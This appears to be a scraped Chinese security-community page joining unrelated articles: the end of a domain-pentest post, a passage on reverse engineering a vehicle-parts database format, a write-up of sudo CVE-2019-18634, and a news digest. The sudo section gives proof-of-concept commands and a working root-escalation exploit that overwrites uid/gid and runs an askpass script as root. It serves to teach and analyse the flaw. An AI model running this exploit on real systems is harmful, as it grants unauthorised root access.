`Remove-GPO -Name TestGPO`
## 0x4 总结
本文由于作者水平所限，可能诸多纰漏，希望师傅们能拍砖指出，带带我这个菜鸡萌新。同时，也希望能加入域渗透大佬的交流圈，有很多问题想请教大佬们，ddddhm。
## 0x5 参考链接
[Windows 2008 GPP漏洞学习](https://larry.ngrep.me/2016/12/14/windows-2008-gpp/)
[搭建一个简单的Windows域环境 ](https://mp.weixin.qq.com/s/CgPZ2xJKobos6OBWeBPBzA)
[『权限提升系列』-组策略首选项提权](https://wemp.app/posts/309bd6b3-6eb0-4aba-9f7d-4e56c5a6af91)
[Window server 2012 R2
AD域的组策略设置](https://blog.csdn.net/u012402276/article/details/52849711)
[windows组策略实验-本地组策略和域控组策略 ](https://www.cnblogs.com/yuzly/p/10459438.html)
[从活动目录获取域管理员权限的各种姿势](\[https://wooyun.js.org/drops/%E4%BB%8E%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E8%8E%B7%E5%8F%96%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98%E6%9D%83%E9%99%90%E7%9A%84%E5%90%84%E7%A7%8D%E5%A7%BF%E5%8A%BF.html\]\(https://wooyun.js.org/drops/从活动目录获取域管理员权限的各种姿势.html))
[Active Directory域渗透的权限持久控制之组策略](https://zhuanlan.zhihu.com/p/26792101)
[从零开始内网渗透学习](https://github.com/l3m0n/pentest_study)
[Hard_Pentest](https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/web/Hard_Pentest)
[域渗透——利用SYSVOL还原组策略中保存的密码](\[https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/\]\(https://3gstudent.github.io/3gstudent.github.io/域渗透-利用SYSVOL还原组策略中保存的密码/)) | 社区文章 |
（接上文）
**入口点逆向分析**
* * *
在第一篇文章中，我们已经给出了数据库的定义，现在，我们再来回顾一下。数据库是一组二进制文件，用于存放结构化数据和相互之间的交叉引用。现在，我们只对定义的第一部分感兴趣，即文件中的数据是结构化的。这里的结构属性，则意味着文件是具有相同格式的记录组成的。例如，文件catalogue的单个记录用于描述单个车辆。因此，在定义一个记录的格式后，就会自动定义所有记录的格式。换句话说，对于上图来说，只要弄清楚了Bob
Cat ML
1980相关的字节的含义，就足以理解所有其他车辆相关字节的含义。但是，文件实际上很少仅包含单种类型的记录，实际上，它们通常是由多个表组成的，并且不同的表通常存放的是不同格式的记录。
如何对记录格式和文件格式进行逆向分析？所有针对文件格式的逆向分析技术都适用于该任务（回想一下第一篇文章中抽象级的层次结构，当时已将数据库逆向分析置于顶部）。实际上，这些技术的面世时间已经很长了（具体参见文章末尾的参考文献部分），下文中我们将用到它们。
对文件进行逆向分析时，第一步就是确定文件中表的数量。为此，可以通过观察不同格式的相邻记录来完成这一任务。我们以grpinc.dat文件为例。请查看下面的屏幕截图，其中两种记录格式的区别是非常明显的，我们可以轻松区分开来。
其中，四个彩色的记录可能与表1相关，其后的纯文本则可能与表2相关。表1中每个记录的大小为0x3A字节。但是，表2中的记录的大小则是未知的，也许所有这些文本都只是单个硕大的记录。不过，我们可以得出这样的结论：grpinc.dat文件包含2个表，即包含两种不同的记录格式。这只是一个非常简单的例子。有时您可能遇到具有高熵的二进制文件，这时，我们就只能通过某些字节模式的消失/出现来确定从一个表到另一个表的切换情况。然而，这时只靠肉眼来区分就有点难度了。
现在，让我们回到catalogue文件。查看整个文件后，我们没有发现任何对比明显的数据：开头和结尾部分都有车辆名称。
FNAc.dat文件的开头部分
FNAc.dat文件的结尾部分
接下来，我们需要确定单个记录的大小。为此，我们需要找出相应的模式，并计算两个相邻模式的间距。下面，让我们来看一个具体的例子。让我们在catalogue文件的开头部分寻找重复出现的信息。需要注意的是，这里谈论的是信息的含义，而不是那些重复的字节内容。就这里来说，重复出现的信息是车辆名称，即以“!CAT”开头的字符串和以“VL”开头的字符串。实际上，这里共有三种不同的模式，现在，让我们取其中一种模式，即车辆名称模式，然后计算第一个和第二个车辆名称之间的间距。
这里的间距是0x800-0x0 =
0x800。因此，文件catalogue中保存的记录的大小为0x800字节。这是一种非常重要的文件格式逆向分析技术，我们应该熟练掌握它（当然，其他的非也应该熟练掌握）。另外，其实没有必要采用最前面两个或最后面两个记录来计算模式之间的间距。当确定位于文件中间部分的记录的大小时，即使不知道记录的起始字节在哪里，仍然可以设法计算出它们之间的间距。
现在，是将这些结果记录下来的时候了。下面，我们将使用前一篇文章中提到的Kaitai
Struct来描述文件格式。如果将来需要以编程方式处理文件的话，可以使用KS支持的编程语言轻松地将文件格式的描述转换为相应的代码。到目前为止，我们对catalogue文件的了解，仅限于其记录的大小，因此，我们将其内容视为原始字节来对待。
meta:
id: catalogue
file-extension: dat
endian: le
encoding: ascii
seq:
- id: vehicle
type: vehicle
repeat: eos
types:
vehicle:
seq:
- id: unk_1
size: 0x800
Kaitai Struct有一个可视化工具，名为ksv，具体显示如下。
接下来，您需要逐步调查记录字段，而不是一次考察单个大字段（在我们的示例中为0x800字节）。为此，有许多方法可用，但是具体取决于字节的异构性。在我们的例子中，您可以看到几乎所有字节都是字符串字符，因此，我们可以将一个字符串从其开头到下一个字符串的开头之间的内容划分为单个字段。完成该操作后，我们将得到如下所示的记录格式。
让我们分析每个字段。从记录开头到最后一个空格字符之间的第一个0x64字节，名为vehicle_name_1，其内容为汽车名称。接下来的两个字节（0x0026）可能是一个单独的字段，但其含义目前还不清楚，因此，我们将其命名为unk_1。那么，我们该如何确定它是一个单独的字段，还是这两个字节属于前一个字符串，甚至属于下一个字符串呢？没有灵丹妙药，我们应该做出假设并进行类推：如果所有字符串都以空格字符（0x20）结尾且没有NULL字节，则第一个字符串则是个例外，这是不太可能的。此外，这两个字节还可能是表示第二个字符串的长度的字段，但是，首先，其长度为0x64（从“Aerostar”到“VL38!”），其次，它似乎再次成为例外，这是非常值得怀疑的。我们需要检查该假设对其他记录的有效性（记住，我们现在讨论的是第一个记录），以确保该假设对它们都有效。
unk_1字段后面是vehicle_name_2，因为其内容是vehicle_name_1的副本。接下来的字段是vl_code_1和cat_code以及vl_code_2字符串，这些字符串以其值的前几个字母来命名。其中，前两个字段的大小为0x16字节。vl_code_2的长度可以是0x1A2字节，但是要具体视下一个“MX”字符串出现的位置，所以不要草率地将其大小设置为0x16。
事实上，vl_code_2字段在许多记录中具有与vl_code_1相同的值，所以，我们不妨假设它们的长度是相同的。另一方面，从vl_code_2 +
0x16偏移处到“MX”字符串之间的字节间距，在所有记录中都是0x20（个空格），因此，它们可以包含在vl_code_2字段中，但为了清楚起见，我们将它们划分到empty_1字段。
从“MX”字符串到“A”字符串之间为下一个假想字段，大小为0xD2。
事实证明，它是一个字符串数组，而非字符串，其中每个字符串的长度为0xA字节。将0xD2除以0xA，得到0x15，这就是数组的元素数量。这些字符串的具体含义尚不清楚，不过，其中某些字符串看起来像是国家代码（US，CA）或州代码（CA，MX），所以，不妨将该字段命名为unk_2。
再后面是“A”字符串，其长度可以直至充满最后0x20字节为止。利用前面类似的计算方法，我们发现，该数组有0x9个元素，每个元素的长度为0xC字节，在这里我们将其命名为unk_3。
剩余字节的含义目前还不太清楚，因为它们都不是字符串。
不过，我们不难看出这里有两个字（或双字），它们位于不同的位置，其中，第一个值是0x7C2，第二个值是0x7CB。如果将它们翻译成十进制数值的话，就会发现它们好像是两个年份：0x7C2
= 1986，0x7CB = 1995。大家还记得vehicle_name_1 = “Aerostar A
1986–1995”吗？由此看来，这两个数字分别表示生产年份的起止时间，所以，我们分别将其命名为year_from和year_to。
year_from和year_to之间的字节在所有记录中都是零，因此，我们将它们划归为大小为0x28的zero_1字段。在year_to之后，具有相同数量的归零字节，让我们将其划归为zero_2字段。其余字节的用途目前尚不清楚，所以，我们将其命名为unk_4。
如果我们仔细浏览几条记录，unk_1和vl_code_1以及vl_code_2和cat_code字段就会引起我们的注意——我们会发现，unk_1的数字值以字符形式存在于这些字段中。因此，我们可以推断unk_1是车辆标识符，所以，我们将其重命名为vehicle_id。这时，文件格式变成下面的样子。
meta:
id: catalogue
file-extension: dat
endian: le
encoding: ascii
seq:
- id: vehicle
type: vehicle
size: 0x800
repeat: eos
types:
vehicle:
seq:
- id: vehicle_name_1
type: str
size: 0x64
- id: vehicle_id
type: u2le
- id: vehicle_name_2
type: str
size: 0x64
- id: vl_code_1
type: str
size: 0x16
- id: cat_code
type: str
size: 0x16
- id: vl_code_2
type: str
size: 0x16
- id: empty_1
type: str
size: 0x18C
- id: unk_2
type: str
size: 0xA
repeat: expr
repeat-expr: 0x15
- id: unk_3
type: str
size: 0xC
repeat: expr
repeat-expr: 9
- id: year_from
type: u2le
- id: zero_1
size: 0x28
- id: year_to
type: u2le
- id: zero_2
size: 0x28
- id: unk_4
size-eos: true
这是一个非常简单的示例，因为这里的研究目的只是确定每个字段的含义。在更复杂的情况下，研究过程中还需要假设字段类型和字段长度，搜索不同表的字段之间的交叉引用，等等。由于本文的重点是数据库的逆向工程，而不是文件格式的逆向工程，因此，我们不会对其他单独的文件进行详细分析，因为我们感兴趣的是更高级别的事情，即这些文件之间的瓜葛。
**[2.7]研究并描述表示数据库入口点的文件格式。**
顺便说一下，该数据库入口点是无可置疑的：我们没有发现对其他结构的任何依赖，并且，同时获得了足够的信息用于进一步的研究。
**研究交叉引用**
* * *
我们可以通过下列方式继续进行逆向工程：
1. 根据已知信息搜索所需信息；
2. 搜索所需信息并了解它与已知信息的交互方式。
第一种方法是获取字段值——例如vehicle_id、vl_code_1、vl_code_2、cat_code等字段——并在其他文件中搜索它们。如果在某些文件中发现了它们，则意味着catalogue文件与这些文件之间可能存在某种关联。第二种方式实际上就是搜索关键字，通过关键字查找包含所需信息的文件，对其进行逆向工程并显示这些文件和catalogue文件之间的交叉引用。我们可以将其视为互相指引的两种方式，它们是实现同一目标的两种方式。
研究交叉引用的两种方法
在生活中，事情要更复杂，所以这两种方式应该结合起来。首先，我们应该定义所需信息。根据“入口点选择”部分的图，下一个待研究的结构是车辆零件。研究零件图现在还不到时候，因为它们在概念上是通过零件与车辆相互关联的（如果这个假设是真的话）。下面，让我们看看该程序如何提供对车辆零件的访问的。
第一级部件树
第二级部件树
带有标记详细信息的零件图
选择车辆后，会显示一个部件列表（例如“10 WHEELS & RELATED PARTS”、“20 BRAKE
SYSTEM”等）。当选择其中一个列表时，就会显示第二个部件列表（例如“10 WHEELS AND WHEEL COVERS WHEELS
1980–1980
[P10853]”等）。当选择相应的条目后，将显示零件列表，其中包含以零件编号命名的超链接，单击该超链接，则会弹出包含零件列表的底部菜单。目前，我们的目标是“接触”零件列表。
如您所见，车辆和零件通过两个部件列表绑定在一起的，我们称之为部件树。部件树有两个级别，分别名为“Alpha Index—Major”和“Alpha
Index—Minor”，为简单起见，我们将其称为第一级和第二级。根据研究其他车辆数据库的经验，我们假设部件树和部件本身位于不同的数据结构或不同的文件中。这意味着我们应该调整一下目标路线：我们从车辆出发到达第一级部件树，然后从第一级部件树达到第二级部件树，最后到达零件级别。
进度条
如何实现这一目标呢？如果在文件中搜索第一级部件树中的相关名称（如“10 WHEELS＆RELATED
PARTS”），那么，在包含所有本地化程序字符串的FEULex.dat文件中只会找到一个匹配项。然后，我们可以据此算出到达字符串的偏移量，并再次在文件中以little-endian字节顺序进行搜索，并且这次要偏移四个字节——这是一种有效的技术，但对本例来说不起作用，因为FEULex.dat被偏移引用而不是从文件的开头。
下面，我们将介绍另一种强大的技术，重要的是，这种技术还非常简便。该技术是基于[2.1]方法的，这说明将程序视为DBMS是非常有意义的。由于它是DBMS，所以，肯定会向DB发送请求，即从文件中读取数据。因为DBMS必须高效运行，所以，它不会在启动时就将所有文件都读入内存。因此，当用户通过单击某些菜单、按钮等方式对程序发出相应的请求时，就会进行相应的文件访问。因此，我们可以判断出用户操作期间程序访问了哪些文件，即从包含所有文件的全集中选择了哪些包含所需数据的文件子集。
要想监视文件的访问操作，我们需要使用打过补丁的ProcMon。其中，该补丁程序的作用是将Detail
列中十进制数改为的十六进制数，具体可以参考下面的屏幕截图。
原始的ProcMon
打过补丁的ProcMon
因此，我们能找出哪个文件代表第一级部件树。让我们启动ProcMon，并建立两个过滤器，即“Process Name is
ntvdm.exe”和“Operation is
ReadFile”，然后，终止监视器。启动程序，选择车辆，再次使用ProcMon启动监视器，然后，单击车辆数据加载按钮。
在读取第一级部件树时，程序所引用的文件其实很少，只有MCData.idx、MCData.dat、XGROUPS.idx、FEULex.dat和LexInd.idx。其中，最后两个文件与前面已经说过的本地化字符串有关。而XGROUPS.idx看起来并不是我们所感兴趣的，并且没有包含任何与部件树有关的线索。所以，我们只需搜索前两个文件的内容就行了。
**[2.8]当程序要加载您感兴趣的数据时，监视它们对文件所执行的访问操作。**
从现在开始，有趣的事情就全部结束了，剩下的就是繁琐的逆向分析工作了。需要说明的是，这里不会介绍这些文件的具体研究过程，因为针对每一个文件的分析过程，都值得单独发表一篇文章。为了理解它们，我花了一个多月的时间，当然，期间也研究了其他一些文件。下面是一个小结。
Name: MCData.idx
Size: 5,5 MB
Format: binary
Number of tables: 4 (2 headers + 2 data tables)
Purpose: binds a vehicle (vehicle_id) to the first part tree level (ai_major_id), the first level to the second level (ai_minor_id), the second level to a part list (part_list_offset) in MCData.dat and to part diagrams (image_offset) in MCImage.dat and MCImage2.dat
Name: MCData.dat
Size: 1,5 GB
Format: encrypted text
Purpose: consists of a part list at part_list_offset for each tree
这里必须讲一讲[2.1]方法的第二种衍生方法。通过使用ProcMon进行监控获得另外两个发现可以加深对文件内部机制的理解：
* 程序每次执行读取操作时的块偏移和块大小；
* 块的读取顺序。
我们知道，所谓的块，就是由多个字节组成的一个整体；并且，程序会逐块读取数据，而一个块通常代表一个记录。如果知道了块偏移量和块大小，我们就可以确定第一个表记录、表记录大小、表记录的数量以及表的数量（记录的大小不同，则意味着它们是从不同的表中读取的）。一旦了解了块读取的顺序，我们就可以规划文件的研究过程：如果程序首先读取表1，然后再读取表2，那么，我们最好从表1开始研究，因为，很可能只有理解了第一个表，才能理解第二个表。
此外，有时块读取顺序的知识还能够帮助我们理解程序的实现算法。我们不妨来看看下面的截图。
在这里，我们看到许多来自LexInd.idx的“随机性的”读取操作，然后是来自FEULex.dat的一个“精确的”读取操作。如果我们弄清楚了程序执行这些操作的原因（源于用户的某个操作），并将LexInd.idx的最后一次读取操作与其他读取操作进行比较，那么，就会发现这显然是在进行二进制搜索。就这里来说，程序先在LexInd.idx中搜索字符串ID，然后读取字符串偏移量，继而从FEULex.dat中读取相应的字符串。理解该算法能够帮助我们更快地了解这两个文件。
**[2.9]借助监视期间收集的块偏移、块大小和块读取顺序等知识来研究文件。**
**小结**
* * *
下面，我们将对前面进行的研究进行总结。我们弄清楚了车辆结构、部件树和零件信息存放在哪些文件中，以及这些文件的结构和它们之间的交叉引用。下面，我们用图形将其展示出来。
进度条
数据库架构
然而，这些并不是最重要的事情。实际上，本文的主要目标，是向读者介绍如何使用自己开发的方法对数据库进行逆向分析。在这个过程中，我试图从两个层面加以阐释，其中一个层次是关于独立于任何数据库内部的原则，另一个层次是将这些原则应用于实际的数据库研究，以证明它们的可行性和实用性。
在下一部分中，我们将使用代码重用方法来访问零件图，借以探索数据库的内部运行机制。届时，我们将开始与反汇编程序和调试程序打交道。
**参考资料**
* * *
* DGTEFF — XentaxWiki — <http://wiki.xentax.com/index.php/DGTEFF>
* How to crack a Binary File Format — <http://www.iwriteiam.nl/Ha_HTCABFF.html>
* BFF: A grammar for Binary File Formats — <http://www.iwriteiam.nl/Ha_BFF.html>
* File format reverse engineering, an introduction. — Nada LabsNada Labs — <https://nada-labs.net/2010/file-format-reverse-engineering-an-introduction/>
* Reverse Engineering/File Formats — Wikibooks, open books for an open world — <https://en.wikibooks.org/wiki/Reverse_Engineering/File_Formats>
* Reverse Engineering a file format — Matthew Ekenstedt — <http://matthewekenstedt.com/73-06/reverse-engineering-a-file-format/>
* Reverse Engineering Design File Formats | Details | Hackaday.io — <https://hackaday.io/project/3149-reverse-engineering-design-file-formats/details>
* Reverse engineering visual novels 101 — <https://hackernoon.com/reverse-engineering-visual-novels-101-d0bc3bf7ab8>
* Reverse engineering visual novels 101, part 2 — <https://hackernoon.com/reverse-engineering-visual-novels-101-part-2-9258f547262a>
* Experimentation with Reverse Engineering — Trails in the Sky (FC / SC) Extracting Sprite Data w/ Unix Tools & Kaitai Struct — <http://vaughanhilts.me/blog/2016/11/16/reverse-engineering-trails-in-the-sky-ed-6-game-engine.html>
* Kaitai Struct — <http://kaitai.io/>
**主要方法清单**
* * *
**第一种数据库逆向分析方法**
* [2.1]将使用DB的程序视为DBMS。
**初步分析**
* [2.2]对待处理的数据和代码进行初步分析。对于在审查期间找到的关键字，可以通过互联网进行搜索，尽量挖掘更多的信息。
* [2.3]审查各个程序模块，查找可重用代码。在数据库逆向分析的过程中，需要定期应用该方法，之所以这么做，是因为许多时候并不清楚哪些代码是可重用的，哪些不是。
* [2.4]代码重用的复杂性与黑盒子的数量成正比，与其执行的动作数量成反比。
**研究入口点**
* [2.5]选择数据库入口点：离初始入口点越近，需要预先研究的结构就越少。理想情况下，所需的入口点正好就是初始入口点。
* [2.6]考察代表数据库入口点的文件。
* [2.7]研究并描述表示数据库入口点的文件格式。
**研究交叉引用**
* [2.8]当程序要加载您感兴趣的数据时，监视它们对文件所执行的访问操作。
* [2.9]借助监视期间收集的块偏移、块大小和块读取顺序等知识来研究文件。
（未完待续） | 社区文章 |
# CVE-2019-18634 sudo 提权漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中，我们将对近期刚刚修复sudo程序漏洞(CVE-2019-18634)进行分析，该漏洞需要在开启pwfeedback选项才能出发，一旦成功利用，攻击者将有可能实现本地提权。影响版本
`1.7.1 - 1.8.30`
接下来，我们将对该漏洞进行分析。
## 环境配置
* ubuntu 1804 vmware 虚拟机
* [sudo 1.8.25 版本](https://www.sudo.ws/dist/sudo-1.8.25.tar.gz)
* gdb(pwndbg 插件), pwntools
后面的分析都会在以上的环境下进行
## 漏洞分析
### pwfeedback 选项
pwfeedback，也就是 password feedback，开启之后在输入密码的时候会有视觉反馈，显示`*`号， 如下图,
默认情况下不会开启，某些Linux发行版本(Linux Mint和Elementary OS)会默认开启这个选项
开启的方法是在`/etc/sudoers` 文件中添加一行`Defaults pwfeedback`
### 编译 sudo 1.8.25
下载[sudo 1.8.25 版本](https://www.sudo.ws/dist/sudo-1.8.25.tar.gz)的源码
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar 解包之后进入源码目录按照默认选项编译安装即可
./configure ;make -j16 ; make install
在测试过程中，系统自带的sudo是 `1.8.21p1` 版本， 安装位置在 `/usr/bin/sudo`
自己编译的版本安装位置在 `/usr/local/bin/sudo`
### 从poc定位漏洞点
官方给出了两个 poc, `poc1`适用 `sudo 1.8.25p1` 以下的版本, `poc2` 则适用`sudo 1.8.26 - 1.8..30`
, 下面我们将从漏洞触发定位到漏洞代码，并分析漏洞的成因
`poc1`
perl -e 'print(("A" x 100 . "x{00}") x 50)' | sudo -S id
Password: Segmentation fault
`poc2`
$ socat pty,link=/tmp/pty,waitslave exec:"python -c 'print(("A"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
**poc1 分析**
先看 poc1, `sudo -S` 表示从标准输入读取密码，密码这里传入的是50个 `"AAAAA....x00"`, 然后直接段错误
为了方便定位漏洞，我们可以用 `asan` 重新编译一下程序, 配置的时候加上`--enabble-asan`选项即可
make clean ; ./configure --enable-asan ; make -j16 ; make install
运行 poc 之后可以看到下面的输出
从错误输出可以看出，最后的漏洞触发点是在`tgetpass.c`的 `getln`函数上，对应`345`行。
我们继续看看代码，这里对一些关系不大的代码做了删减。
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz; //256
ssize_t nr = -1;
char *cp = buf;
char c = '';
while (--left) {
nr = read(fd, &c, 1);//读取密码
if (nr != 1 || c == 'n' || c == 'r')
break;
if (feedback) {
// pwfeedback 开启时
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "b b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "b b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;// <== 345
}
...
}
`getln` 函数的作用是获取一行的密码输入，用于后序的校验。
从代码可以看出，这里是一个while 循环，每次读取一个字符，在 `pwfeedback`没有开启的时候，会将字符拷贝到 `buf` 里
打开`pwfeedback`后，会有`sudo_term_kill`和`sudo_term_erase`两个判断
在`lib/util/term.c` 中可以找到它们的赋值点, 这里的`term.c_cc` 是终端的`termios` 配置，
具体可以参考[这个网址](http://man7.org/linux/man-pages/man3/termios.3.html)
sudo_term_erase = term.c_cc[VERASE];
sudo_term_kill = term.c_cc[VKILL];
也可以用`stty -a` 命令查看当前的终端配置
`kill char` 和终端的`ctrl+U`快捷键对应，会删除当前行的所有字符。对应前面的代码如下， `cp`
是已经读取字符的指针，`buf`是起始地址，`b`和`backspace`键对应，`"b b"` 相当于删除一个字符，于是这个while
循环结束之后，`cp` 会回到`buf`的位置，也就是删除一行了。
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "b b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
这里也是漏洞触发点所在。因为`poc1`并不是在终端获取输入流，而是从管道，这里`term.c_cc[VKILL]` 会保持初始化的值，也就是`x00`,
所以传入`x00`的时候会进入这段代码，但是这个管道是单向管道，往管道写`"b
b"`会失败然后break出while循环，问题也就是出现在这里，跳出`while (cp >
buf)`这个循环之后，`cp`的位置没有改变，但是可以读取的最大字符数`left`又变成了`bufsiz`(从代码可找到是256).
所以只要不断传入类似`"xxx...x00"`的字符串，就可以不断向 `buf`里写东西，造成buf溢出。
**poc2**
okay, 理解了`poc1`的触发原理，那么我们再来看`poc2`就十分的简单了。
使用 `poc2`的原因是在`sudo 1.8.26` 中加入了对 EOF的处理，于是`poc1`就不管用了
if (c == sudo_term_eof) {
nr = 0;
break;
但是如果是从终端获取输入流，也就是我们说的pty，情况就不一样了，我们可以在[维基百科](https://en.wikipedia.org/wiki/ASCII#Control_characters)中找到`eof`和`kill`
控制符对应的ascii. `eof( EOT, ^D End-of-file character)` 对应的ascii为0x04, kill为 0x15。
如果从pty获取输入流，那么这个漏洞就又复活了。
对应的 poc
socat pty,link=/tmp/pty,waitslave exec:"python -c 'print(("A"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
这里创建了一个临时的 pty, 然后还是将 payload 通过 pty 传到 sudo即可
接下来我们就来看看如何对这个漏洞进行利用。
### 调试
在分析的时候，查看内存是必不可少的，这里的做法是使用 gdb 结合 pwntools来调试
`poc2`对应的 py 代码如下
import sys,os
from pwn import *
TARGET=os.path.realpath("/usr/local/bin/sudo")
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd)
pause()
payload = ("A"*100+"x15")*50
os.write(mfd, payload+"n")
pause()
sys.exit(0)
运行上面这段代码，等 `pause()`的使用再用 gdb attach进程即可
这里需要注意sudo运行时是root权限，所以gdb也需要用root权限运行，可以使用root用户或者给gdb添加 s权限`chmod 4777
/usr/bin/gdb`
## 漏洞利用
从前面的分析可以知道漏洞是可以溢出写buf，那么我们首先要要出buf在哪里
static const char *askpass;
static char buf[SUDO_CONV_REPL_MAX + 1];// 255+1
int i, input, output, save_errno, neednl = 0, need_restart;
debug_decl(tgetpass, SUDO_DEBUG_CONV)
buf 在 `tgetpass`函数定义，是`static` 类型，存放在内存的bss段上，所以可能可以溢出覆盖bss的一些内容
ida找一下引用可以看到 `buf`高地址的一些变量，其中 `singo` 表示运行时的一些信号，正常运行时值为0
`tgetpass_flags` 是sudo的一些标识位，一些功能的启用与否等. `askpass`和 `user_details`
比较重要，我们看看它们是如何被使用的
### user_details变量
`user_details` 字段保存的是用户的一些身份信息，如 uid， pid 等，
### askpass
askpass和`sudo -A` 选项有关，作用是可以选择一个外部程序来传入密码。
具体的流程是
* 1 环境变量`SUDO_ASKPASS` 指定外部程序地址
* 2 sudo 运行加上`-A`选项，程序里面会设置`TGP_ASKPASS` 标识
* 3 fork 出一个子进程来运行外部程序，父进程接收子进程的输出作为密码
具体代码在 `tgetpass` 函数开始处找到
if (askpass == NULL) {
askpass = getenv_unhooked("SUDO_ASKPASS");
if (askpass == NULL || *askpass == '')
askpass = sudo_conf_askpass_path();
}
...
/* If using a helper program to get the password, run it instead. */
if (ISSET(flags, TGP_ASKPASS)) {
if (askpass == NULL || *askpass == '')
sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
debug_return_str_masked(sudo_askpass(askpass, prompt));
}
功能的具体实现可以在`sudo_askpass` 函数找到
static char *
sudo_askpass(const char *askpass, const char *prompt)
{
...
child = sudo_debug_fork();
if (child == 0) {
// 子进程运行外部程序
if (setuid(ROOT_UID) == -1)
sudo_warn("setuid(%d)", ROOT_UID);
if (setgid(user_details.gid)) {
sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
_exit(255);
}
if (setuid(user_details.uid)) {
sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
_exit(255);
}
closefrom(STDERR_FILENO + 1);
//
execl(askpass, askpass, prompt, (char *)NULL);
sudo_warn(U_("unable to run %s"), askpass);
_exit(255);
}
//父进程从子进程获取输入流，
/* Get response from child (askpass). */
pass = getln(pfd[0], buf, sizeof(buf), 0);
/* Wait for child to exit. */
for (;;) {
pid_t rv = waitpid(child, &status, 0);
}
`sudo_askpass`会fork出一个子进程来运行外部程序，子进程的输出作为父进程的输入，这使用会调用
`getln`函数，但并不会启用`pwfeedback` 机制。
子进程的权限通过`user_details.uid`和`user_details.gid`来设置，这两个值我们是可以通过漏洞改写掉的，也就是说我们可以通过这里用root权限来运行程序
### 漏洞利用
okay 我们整理一下当前获取到的点
* 1 在不使用 `askpass`的情况下会使用 `pwfeedback`
* 2 用`pwfeedback`的漏洞可以修改 `user_details`的uid和gid
* 3 `askpass` 可以根据`user_details`的uid和gid运行外部程序
我们知道，默认情况下 `sudo -s` 可以有三次输入密码的机会，这个也是可以利用的点，基本利用流程如下
* 1 设置环境变量`SUDO_ASKPASS`指定外部程序，不加 `-A`选项
* 2 利用 漏洞将 `user_details` 的 pid 和 gid 覆盖成 0 ， 并启用`askpass`功能(TGP_ASKPASS flags)
* 3 第二次输入密码 ，root 权限运行外部程序
漏洞利用的代码可以参考[iamalsaher的代码](https://github.com/iamalsaher/CVE-POCs/blob/master/CVE-2019-18634.py)
这里我给出自己的利用过程作为参考
prb@prbvv:~/sudo-cve-2019-18634$ cat aa.sh
#!/bin/bash
id > end
prb@prbvv:~/sudo-cve-2019-18634$ python -c "from pwn import *;print 'x00x15'*548+p64(6)+'x00x15'*20+p64(0)*2+p32(0)+'x00'*3+'n'" > poc
prb@prbvv:~/sudo-cve-2019-18634$ socat pty,link=/tmp/pty,waitslave exec:"cat /home/prb/sudo-cve-2019-18634/poc" &
[1] 2380
prb@prbvv:~/sudo-cve-2019-18634$ SUDO_ASKPASS=/home/prb/sudo-cve-2019-18634/aa.sh sudo -S id < /tmp/pty
密码：
对不起，请重试。
sudo: 1 次错误密码尝试
prb@prbvv:~/sudo-cve-2019-18634$ cat end
uid=0(root) gid=1000(prb) 组=1000(prb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
[1]+ 已完成 socat pty,link=/tmp/pty,waitslave exec:"cat /home/prb/sudo-cve-2019-18634/poc"
prb@prbvv:~/sudo-cve-2019-18634$ ls
aa.sh e1xp.py end exp.py exp.sh mm poc sudo sudo-1.8.25 sudo-1.8.25.tar.gz
## 小结
CVE-2019-18634 是一个 bss变量溢出漏洞，只有在开启
`pwfeedback`机制的时候才可能触发，最终利用可以使用root权限执行任意程序，危害较大。
## 引用
* [漏洞补丁](https://github.com/sudo-project/sudo/commit/fa8ffeb17523494f0e8bb49a25e53635f4509078)
* [CVE-2019-18634: buffer overflow in sudo when pwfeedback is enabled](https://seclists.org/oss-sec/2020/q1/48)
* [A CVE Journey: From Crash to Local Privilege Escalation](https://iamalsaher.tech/posts/2020-02-08-cve-2019-18634/) | 社区文章 |
# 【知识】5月2日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： WordPress Core -RCE PoC Exploit (video)
无需插件和认证、Android应用逆向101、Windows提权思路总结、**
**英特尔®AMT，英特尔®SBA或支持英特尔®ISM功能的系统存在权限提升漏洞** **、 Apple iOS
10.3控制面板拒绝服务漏洞、上周jenkins修的反序列化RCE的漏洞细节和POC、恶意样本分析手册——工具篇、UAC bypass的研究总结、Mehdi
Talbi & Paul Fariello – VM escape – QEMU Case Study** **
**
****国内热词(以下内容部分摘自 http://www.solidot.org/)：****
* * *
****
****
WordPress Core被爆远程代码执行
在未能敲诈 Netflix 后黑客公开尚未上映的剧集
英国破解恐怖袭击枪手的加密 WhatsApp 信息
俄罗斯电信公司劫持金融服务的网络流量
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
Apple撤销OSX / Dok恶意软件使用的证书
<https://threatpost.com/apple-revokes-certificate-used-by-osxdok-malware/125322/>
因为Netflix没有支付赎金，黑客威胁泄漏更多的节目
<http://thehackernews.com/2017/04/Orange-is-the-new-black-season-5-episodes.html>
